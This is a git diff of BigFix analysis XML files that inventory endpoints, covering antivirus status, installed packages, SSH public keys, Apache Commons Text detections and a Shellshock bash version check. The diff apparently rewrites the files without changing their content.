+    <Property ID="1" Name="All Apache Commons Text Detections" EvaluationPeriod="PT30M">(if exists property &quot;locked lines&quot; then locked lines of it else lines of it) whose (it does not start with &quot;::&quot;) of files &quot;apache-commons-text.txt&quot; of folders &quot;Scans&quot; of folders ((if (version of client &gt;= &quot;9&quot; as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site &quot;actionsite&quot;))) </Property>
+    <Property ID="2" Name="Number of Apache Commons Text Detections" EvaluationPeriod="PT30M">number of (if exists property &quot;locked lines&quot; then locked lines of it else lines of it) whose (it does not start with &quot;::&quot;) of files &quot;apache-commons-text.txt&quot; of folders &quot;Scans&quot; of folders ((if (version of client &gt;= &quot;9&quot; as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site &quot;actionsite&quot;)))</Property>
+    <Property ID="4" Name="Unique Apache Commons Text Versions Found" EvaluationPeriod="PT30M">unique values of (unique value of following texts of lasts &quot;-&quot; of preceding texts of lasts &quot;.jar&quot; of (it as lowercase) | &quot;unknown&quot;) of lines whose (it does not start with &quot;::&quot;) of files &quot;apache-commons-text.txt&quot; of folders &quot;Scans&quot; of folders ((if (version of client &gt;= &quot;9&quot; as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site &quot;actionsite&quot;)))</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Linux Management/Fixlets/Analyses/ESET Installed (76).bes b/Sites/Linux Management/Fixlets/Analyses/ESET Installed (76).bes
index a804960b0..516f07a1f 100644
--- a/Sites/Linux Management/Fixlets/Analyses/ESET Installed (76).bes	
+++ b/Sites/Linux Management/Fixlets/Analyses/ESET Installed (76).bes	
@@ -1,33 +1,33 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : ESET Installed
-  ID       : 76
-  Author   : PaulB
-  Domain   : BES
-  Imported : 2013-02-04T05:38:24
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>ESET Installed</Title>
-    <Description><![CDATA[<P>This analysis will show Machines that have ESET installed </P>
-<P>pulls back</P>
-<OL>
-<LI>signature of AV db</LI>
-<LI>version of NOD32</LI>
-<LI>Age of AV db</LI></OL>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info&quot; of native registry</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 04 Feb 2013 11:38:54 +0000</Value>
-    </MIMEField>
-    <Domain>BES </Domain>
-    <Property ID="1" Name="ESET Signature Number">value &quot;ScannerVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info&quot; of native registry</Property>
-    <Property ID="3" Name="ESET Age">current date - date (( last 2 of (preceding text of first &quot;)&quot; of (following text of first &quot;(&quot; of (value &quot;ScannerVersion&quot; of  key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info&quot; of native registry as string))) &amp; &quot; &quot; &amp; first 3 of (month (last 2 of first 6 of (preceding text of first &quot;)&quot; of (following text of first &quot;(&quot; of (value &quot;ScannerVersion&quot; of  key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info&quot; of native registry as string))) as integer) as string) &amp; &quot; &quot; &amp; first 4 of (preceding text of first &quot;)&quot; of (following text of first &quot;(&quot; of (value &quot;ScannerVersion&quot; of  key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info&quot; of native registry as string)))))</Property>
-    <Property ID="4" Name="ESET Version">value &quot;ProductVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info&quot; of native registry</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : ESET Installed
+  ID       : 76
+  Author   : PaulB
+  Domain   : BES
+  Imported : 2013-02-04T05:38:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>ESET Installed</Title>
+    <Description><![CDATA[<P>This analysis will show Machines that have ESET installed </P>
+<P>pulls back</P>
+<OL>
+<LI>signature of AV db</LI>
+<LI>version of NOD32</LI>
+<LI>Age of AV db</LI></OL>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info&quot; of native registry</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 04 Feb 2013 11:38:54 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <Property ID="1" Name="ESET Signature Number">value &quot;ScannerVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info&quot; of native registry</Property>
+    <Property ID="3" Name="ESET Age">current date - date (( last 2 of (preceding text of first &quot;)&quot; of (following text of first &quot;(&quot; of (value &quot;ScannerVersion&quot; of  key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info&quot; of native registry as string))) &amp; &quot; &quot; &amp; first 3 of (month (last 2 of first 6 of (preceding text of first &quot;)&quot; of (following text of first &quot;(&quot; of (value &quot;ScannerVersion&quot; of  key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info&quot; of native registry as string))) as integer) as string) &amp; &quot; &quot; &amp; first 4 of (preceding text of first &quot;)&quot; of (following text of first &quot;(&quot; of (value &quot;ScannerVersion&quot; of  key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info&quot; of native registry as string)))))</Property>
+    <Property ID="4" Name="ESET Version">value &quot;ProductVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Linux Management/Fixlets/Analyses/Linux package info - RPM & DEB (2998050).bes b/Sites/Linux Management/Fixlets/Analyses/Linux package info - RPM & DEB (2998050).bes
index 831972dc9..b05a4773c 100644
--- a/Sites/Linux Management/Fixlets/Analyses/Linux package info - RPM & DEB (2998050).bes	
+++ b/Sites/Linux Management/Fixlets/Analyses/Linux package info - RPM & DEB (2998050).bes	
@@ -1,27 +1,27 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Linux package info - RPM & DEB
-  ID       : 2998050
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2016-05-06T14:49:06
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Linux package info - RPM &amp; DEB</Title>
-    <Description>This analysis gathers data from both RPMs and Debianpackages </Description>
-    <Relevance>(if exists properties whose(it as string contains &quot;debianpackage:&quot;) then TRUE else if exists properties whose(it as string contains &quot;rpm:&quot;) then TRUE else ERROR &quot;The operators are not defined.&quot;)</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 06 May 2016 21:46:52 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="2" Name="packages" EvaluationPeriod="P2D">packages whose(if exists properties whose(it as string contains &quot;currently installed of &quot;) then (currently installed of it) else TRUE) of (if exists properties whose(it as string contains &quot;debianpackage:&quot;) then debianpackages else if exists properties whose(it as string contains &quot;rpm:&quot;) then rpms else ERROR &quot;The operators are not defined.&quot;)</Property>
-    <Property ID="3" Name="yum version" EvaluationPeriod="PT6H">(it as string) of versions of packages whose(&quot;yum&quot; = name of it AND (if exists properties whose(it as string contains &quot;currently installed of &quot;) then (currently installed of it) else TRUE)) of (if exists properties whose(it as string contains &quot;debianpackage:&quot;) then debianpackages else if exists properties whose(it as string contains &quot;rpm:&quot;) then rpms else ERROR &quot;The operators are not defined.&quot;)</Property>
-    <Property ID="4" Name="apt version" EvaluationPeriod="PT6H">(it as string) of versions of packages whose(&quot;apt&quot; = name of it AND (if exists properties whose(it as string contains &quot;currently installed of &quot;) then (currently installed of it) else TRUE)) of (if exists properties whose(it as string contains &quot;debianpackage:&quot;) then debianpackages else if exists properties whose(it as string contains &quot;rpm:&quot;) then rpms else ERROR &quot;The operators are not defined.&quot;)</Property>
-    <Property ID="5" Name="Package Managers" EvaluationPeriod="PT12H">packages whose( (&quot;apt&quot; = name of it OR &quot;aptitude&quot; = name of it OR &quot;yum&quot; = name of it OR &quot;emerge&quot; = name of it OR &quot;pacman&quot; = name of it OR &quot;zypp&quot; = name of it OR &quot;dnf&quot; = name of it OR &quot;urpmi&quot; = name of it) AND (if exists properties whose(it as string contains &quot;currently installed of &quot;) then (currently installed of it) else TRUE)) of (if exists properties whose(it as string contains &quot;debianpackage:&quot;) then debianpackages else if exists properties whose(it as string contains &quot;rpm:&quot;) then rpms else ERROR &quot;The operators are not defined.&quot;)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Linux package info - RPM & DEB
+  ID       : 2998050
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-05-06T14:49:06
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Linux package info - RPM &amp; DEB</Title>
+    <Description>This analysis gathers data from both RPMs and Debianpackages </Description>
+    <Relevance>(if exists properties whose(it as string contains &quot;debianpackage:&quot;) then TRUE else if exists properties whose(it as string contains &quot;rpm:&quot;) then TRUE else ERROR &quot;The operators are not defined.&quot;)</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 06 May 2016 21:46:52 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="2" Name="packages" EvaluationPeriod="P2D">packages whose(if exists properties whose(it as string contains &quot;currently installed of &quot;) then (currently installed of it) else TRUE) of (if exists properties whose(it as string contains &quot;debianpackage:&quot;) then debianpackages else if exists properties whose(it as string contains &quot;rpm:&quot;) then rpms else ERROR &quot;The operators are not defined.&quot;)</Property>
+    <Property ID="3" Name="yum version" EvaluationPeriod="PT6H">(it as string) of versions of packages whose(&quot;yum&quot; = name of it AND (if exists properties whose(it as string contains &quot;currently installed of &quot;) then (currently installed of it) else TRUE)) of (if exists properties whose(it as string contains &quot;debianpackage:&quot;) then debianpackages else if exists properties whose(it as string contains &quot;rpm:&quot;) then rpms else ERROR &quot;The operators are not defined.&quot;)</Property>
+    <Property ID="4" Name="apt version" EvaluationPeriod="PT6H">(it as string) of versions of packages whose(&quot;apt&quot; = name of it AND (if exists properties whose(it as string contains &quot;currently installed of &quot;) then (currently installed of it) else TRUE)) of (if exists properties whose(it as string contains &quot;debianpackage:&quot;) then debianpackages else if exists properties whose(it as string contains &quot;rpm:&quot;) then rpms else ERROR &quot;The operators are not defined.&quot;)</Property>
+    <Property ID="5" Name="Package Managers" EvaluationPeriod="PT12H">packages whose( (&quot;apt&quot; = name of it OR &quot;aptitude&quot; = name of it OR &quot;yum&quot; = name of it OR &quot;emerge&quot; = name of it OR &quot;pacman&quot; = name of it OR &quot;zypp&quot; = name of it OR &quot;dnf&quot; = name of it OR &quot;urpmi&quot; = name of it) AND (if exists properties whose(it as string contains &quot;currently installed of &quot;) then (currently installed of it) else TRUE)) of (if exists properties whose(it as string contains &quot;debianpackage:&quot;) then debianpackages else if exists properties whose(it as string contains &quot;rpm:&quot;) then rpms else ERROR &quot;The operators are not defined.&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Linux Management/Fixlets/Analyses/SSH Public Keys (2998546).bes b/Sites/Linux Management/Fixlets/Analyses/SSH Public Keys (2998546).bes
index 129cf2446..3fe7eff2b 100644
--- a/Sites/Linux Management/Fixlets/Analyses/SSH Public Keys (2998546).bes	
+++ b/Sites/Linux Management/Fixlets/Analyses/SSH Public Keys (2998546).bes	
@@ -1,24 +1,24 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : SSH Public Keys
-  ID       : 2998546
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2017-04-18T16:10:12
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>SSH Public Keys</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>exists files &quot;id_rsa.pub&quot; of folders &quot;.ssh&quot; of home directory folders of users</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 18 Apr 2017 23:07:23 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="SSH Public Keys" EvaluationPeriod="PT12H">unique values whose(it as trimmed string != &quot;&quot;) of lines of files &quot;id_rsa.pub&quot; of folders &quot;.ssh&quot; of home directory folders of users</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : SSH Public Keys
+  ID       : 2998546
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-04-18T16:10:12
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>SSH Public Keys</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>exists files &quot;id_rsa.pub&quot; of folders &quot;.ssh&quot; of home directory folders of users</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 18 Apr 2017 23:07:23 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="SSH Public Keys" EvaluationPeriod="PT12H">unique values whose(it as trimmed string != &quot;&quot;) of lines of files &quot;id_rsa.pub&quot; of folders &quot;.ssh&quot; of home directory folders of users</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Linux Management/Fixlets/Analyses/Shellshock (2994719).bes b/Sites/Linux Management/Fixlets/Analyses/Shellshock (2994719).bes
index 6b5de3d1a..9882fa8dc 100644
--- a/Sites/Linux Management/Fixlets/Analyses/Shellshock (2994719).bes	
+++ b/Sites/Linux Management/Fixlets/Analyses/Shellshock (2994719).bes	
@@ -1,25 +1,25 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Shellshock
-  ID       : 2994719
-  Author   : sinucus
-  Domain   : BESC
-  Imported : 2014-09-28T17:46:26
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Shellshock</Title>
-    <Description>This will look for the vulnerable version of bash in RHEL 5/6/7 x64 systems. This is fairly simple to modify if you are testing for a different distro or architecture. </Description>
-    <Relevance>exists file &quot;/etc/redhat-release&quot;</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 29 Sep 2014 00:41:37 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Bash version">rpm version record of package &quot;bash&quot; of rpm</Property>
-    <Property ID="2" Name="Vulnerable">((exists package &quot;bash&quot; whose (rpm version record of it &lt; rpm package version record &quot;4.1.2-15.el6_5.2&quot; AND rpm version record of it &gt; rpm package version record &quot;4.1.0-0.el1_0.0&quot; AND architecture of it = &quot;x86_64&quot;) of it AND (not exists package &quot;bash&quot; whose (rpm version record of it &gt;= rpm package version record &quot;4.1.2-15.el6_5.2&quot; AND architecture of it = &quot;x86_64&quot;) of it)) OR (exists package &quot;bash&quot; whose (rpm version record of it &lt; rpm package version record &quot;3.2-33.el5_11.4&quot; AND rpm version record of it &gt; rpm package version record &quot;3.2-0.el1_0.0&quot; AND architecture of it = &quot;x86_64&quot;) of it AND (not exists package &quot;bash&quot; whose (rpm version record of it &gt;= rpm package version record &quot;3.2-33.el5_11.4&quot; AND architecture of it = &quot;x86_64&quot;) of it)) OR (exists package &quot;bash&quot; whose (rpm version record of it &lt; rpm package version record &quot;4.2.45-5.el7_0.4&quot; AND rpm version record of it &gt; rpm package version record &quot;4.2.0-0.el1_0.1&quot; AND architecture of it = &quot;x86_64&quot;) of it AND (not exists package &quot;bash&quot; whose (rpm version record of it &gt;= rpm package version record &quot;4.2.45-5.el7_0.4&quot; AND architecture of it = &quot;x86_64&quot;) of it))) of rpm</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Shellshock
+  ID       : 2994719
+  Author   : sinucus
+  Domain   : BESC
+  Imported : 2014-09-28T17:46:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Shellshock</Title>
+    <Description>This will look for the vulnerable version of bash in RHEL 5/6/7 x64 systems. This is fairly simple to modify if you are testing for a different distro or architecture. </Description>
+    <Relevance>exists file &quot;/etc/redhat-release&quot;</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 29 Sep 2014 00:41:37 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Bash version">rpm version record of package &quot;bash&quot; of rpm</Property>
+    <Property ID="2" Name="Vulnerable">((exists package &quot;bash&quot; whose (rpm version record of it &lt; rpm package version record &quot;4.1.2-15.el6_5.2&quot; AND rpm version record of it &gt; rpm package version record &quot;4.1.0-0.el1_0.0&quot; AND architecture of it = &quot;x86_64&quot;) of it AND (not exists package &quot;bash&quot; whose (rpm version record of it &gt;= rpm package version record &quot;4.1.2-15.el6_5.2&quot; AND architecture of it = &quot;x86_64&quot;) of it)) OR (exists package &quot;bash&quot; whose (rpm version record of it &lt; rpm package version record &quot;3.2-33.el5_11.4&quot; AND rpm version record of it &gt; rpm package version record &quot;3.2-0.el1_0.0&quot; AND architecture of it = &quot;x86_64&quot;) of it AND (not exists package &quot;bash&quot; whose (rpm version record of it &gt;= rpm package version record &quot;3.2-33.el5_11.4&quot; AND architecture of it = &quot;x86_64&quot;) of it)) OR (exists package &quot;bash&quot; whose (rpm version record of it &lt; rpm package version record &quot;4.2.45-5.el7_0.4&quot; AND rpm version record of it &gt; rpm package version record &quot;4.2.0-0.el1_0.1&quot; AND architecture of it = &quot;x86_64&quot;) of it AND (not exists package &quot;bash&quot; whose (rpm version record of it &gt;= rpm package version record &quot;4.2.45-5.el7_0.4&quot; AND architecture of it = &quot;x86_64&quot;) of it))) of rpm</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Linux Management/Fixlets/Analyses/Ubuntu Available and Installed Packages (95).bes b/Sites/Linux Management/Fixlets/Analyses/Ubuntu Available and Installed Packages (95).bes
index b02100141..2f546d084 100644
--- a/Sites/Linux Management/Fixlets/Analyses/Ubuntu Available and Installed Packages (95).bes	
+++ b/Sites/Linux Management/Fixlets/Analyses/Ubuntu Available and Installed Packages (95).bes	
@@ -1,26 +1,26 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Ubuntu Available and Installed Packages
-  ID       : 95
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2013-05-01T21:13:48
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Ubuntu Available and Installed Packages</Title>
-    <Description>Using our package inventoring task... this analysis will pull in results making them available via WebReports </Description>
-    <Relevance>name of operating system contains &quot;Ubuntu&quot;</Relevance>
-    <Relevance>exists file &quot;availableApps.txt&quot; of parent folder of client OR exists file &quot;installedApps.txt&quot; of parent folder of client</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 01 May 2013 02:48:02 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Installed Packages" EvaluationPeriod="PT1H">if exists file &quot;installedApps.txt&quot; of parent folder of client then lines of file &quot;installedApps.txt&quot; of parent folder of client else &quot;&lt;missing file&gt;&quot;</Property>
-    <Property ID="2" Name="Available Packages" EvaluationPeriod="PT1H">if exists file &quot;availableApps.txt&quot; of parent folder of client then lines of file &quot;availableApps.txt&quot; of parent folder of client else &quot;&lt;missing file&gt;&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Ubuntu Available and Installed Packages
+  ID       : 95
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2013-05-01T21:13:48
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Ubuntu Available and Installed Packages</Title>
+    <Description>Using our package inventoring task... this analysis will pull in results making them available via WebReports </Description>
+    <Relevance>name of operating system contains &quot;Ubuntu&quot;</Relevance>
+    <Relevance>exists file &quot;availableApps.txt&quot; of parent folder of client OR exists file &quot;installedApps.txt&quot; of parent folder of client</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 01 May 2013 02:48:02 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Installed Packages" EvaluationPeriod="PT1H">if exists file &quot;installedApps.txt&quot; of parent folder of client then lines of file &quot;installedApps.txt&quot; of parent folder of client else &quot;&lt;missing file&gt;&quot;</Property>
+    <Property ID="2" Name="Available Packages" EvaluationPeriod="PT1H">if exists file &quot;availableApps.txt&quot; of parent folder of client then lines of file &quot;availableApps.txt&quot; of parent folder of client else &quot;&lt;missing file&gt;&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/AV Antivirus Audit - Security Center - Windows (2996952).bes b/Sites/Windows Management/Fixlets/Analyses/AV Antivirus Audit - Security Center - Windows (2996952).bes
index 38ed7f0b5..cd8942572 100644
--- a/Sites/Windows Management/Fixlets/Analyses/AV Antivirus Audit - Security Center - Windows (2996952).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/AV Antivirus Audit - Security Center - Windows (2996952).bes	
@@ -1,27 +1,27 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : AV Antivirus Audit - Security Center - Windows
-  ID       : 2996952
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2016-04-19T22:21:03
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>AV Antivirus Audit - Security Center - Windows</Title>
-    <Description><![CDATA[<P>This analysis should identify all AV products registered with the Windows Security Center APIs.</P>
-<P>The `ProductState` should be a bit set of some sort that contains info about the state of the AV products detected. </P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 20 Apr 2016 05:20:26 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="AV DisplayName" EvaluationPeriod="PT1H">unique values of string values of selects &quot;displayname from AntiVirusProduct&quot; of (if exists (wmis &quot;root\SecurityCenter2&quot;) then (wmis &quot;root\SecurityCenter2&quot;) else (wmis &quot;root\SecurityCenter&quot;))</Property>
-    <Property ID="2" Name="AV ProductState" EvaluationPeriod="PT1H">unique values of (string value of property &quot;displayName&quot; of it &amp; &quot;: state=&quot; &amp; string value of property &quot;productState&quot; of it) of select objects &quot;displayName,productState from AntiVirusProduct&quot; of wmis &quot;root\SecurityCenter2&quot;</Property>
-    <Property ID="3" Name="AV RawData" EvaluationPeriod="PT12H">( concatenations &quot;, &quot; of following texts of firsts &quot;True, &quot; of (it as string) of (true, (it) ) of  properties whose(it as string does not start with &quot;__&quot;) of it) of select objects &quot;* from AntiVirusProduct&quot; of (wmis &quot;root\SecurityCenter&quot;;wmis &quot;root\SecurityCenter2&quot;)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : AV Antivirus Audit - Security Center - Windows
+  ID       : 2996952
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-04-19T22:21:03
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>AV Antivirus Audit - Security Center - Windows</Title>
+    <Description><![CDATA[<P>This analysis should identify all AV products registered with the Windows Security Center APIs.</P>
+<P>The `ProductState` should be a bit set of some sort that contains info about the state of the AV products detected. </P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 20 Apr 2016 05:20:26 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="AV DisplayName" EvaluationPeriod="PT1H">unique values of string values of selects &quot;displayname from AntiVirusProduct&quot; of (if exists (wmis &quot;root\SecurityCenter2&quot;) then (wmis &quot;root\SecurityCenter2&quot;) else (wmis &quot;root\SecurityCenter&quot;))</Property>
+    <Property ID="2" Name="AV ProductState" EvaluationPeriod="PT1H">unique values of (string value of property &quot;displayName&quot; of it &amp; &quot;: state=&quot; &amp; string value of property &quot;productState&quot; of it) of select objects &quot;displayName,productState from AntiVirusProduct&quot; of wmis &quot;root\SecurityCenter2&quot;</Property>
+    <Property ID="3" Name="AV RawData" EvaluationPeriod="PT12H">( concatenations &quot;, &quot; of following texts of firsts &quot;True, &quot; of (it as string) of (true, (it) ) of  properties whose(it as string does not start with &quot;__&quot;) of it) of select objects &quot;* from AntiVirusProduct&quot; of (wmis &quot;root\SecurityCenter&quot;;wmis &quot;root\SecurityCenter2&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Adobe Update Server - Windows (2994671).bes b/Sites/Windows Management/Fixlets/Analyses/Adobe Update Server - Windows (2994671).bes
index cd1217ae8..6588b9014 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Adobe Update Server - Windows (2994671).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Adobe Update Server - Windows (2994671).bes	
@@ -1,34 +1,34 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Adobe Update Server - Windows
-  ID       : 2994671
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-07-16T15:13:27
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Adobe Update Server - Windows</Title>
-    <Description><![CDATA[<P>This analysis reports on the information&nbsp;about the configured Adobe Update Server</P>
-<P><FONT size=2>&nbsp;</P></FONT>
-<P><STRONG>References:</STRONG></P>
-<P><A href="http://helpx.adobe.com/creative-cloud/packager/update-server-setup-tool.html">http://helpx.adobe.com/creative-cloud/packager/update-server-setup-tool.html</A></P>
-<P><A href="http://helpx.adobe.com/creative-cloud/packager/provisioning-toolkit-enterprise.html">http://helpx.adobe.com/creative-cloud/packager/provisioning-toolkit-enterprise.html</A></P>
-<P><A href="http://helpx.adobe.com/creative-cloud/packager/preparing-deploy.html">http://helpx.adobe.com/creative-cloud/packager/preparing-deploy.html</A></P>
-<P><A href="http://helpx.adobe.com/creative-cloud/packager/creative-cloud-packager.html">http://helpx.adobe.com/creative-cloud/packager/creative-cloud-packager.html</A></P>
-<P><A href="http://www.regexr.com/395i4">http://www.regexr.com/395i4</A></P>
-<P><A href="http://www.regexr.com/395de">http://www.regexr.com/395de</A></P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists lines of files &quot;AdobeUpdater.Overrides&quot; of folders of (folders &quot;ProgramData\Adobe\AAMUpdater&quot; of it;folders &quot;Documents and Settings\All Users\Application Data\Adobe\AAMUpdater&quot; of it) of root folders of drives of system folders</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 16 Jul 2014 22:12:15 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
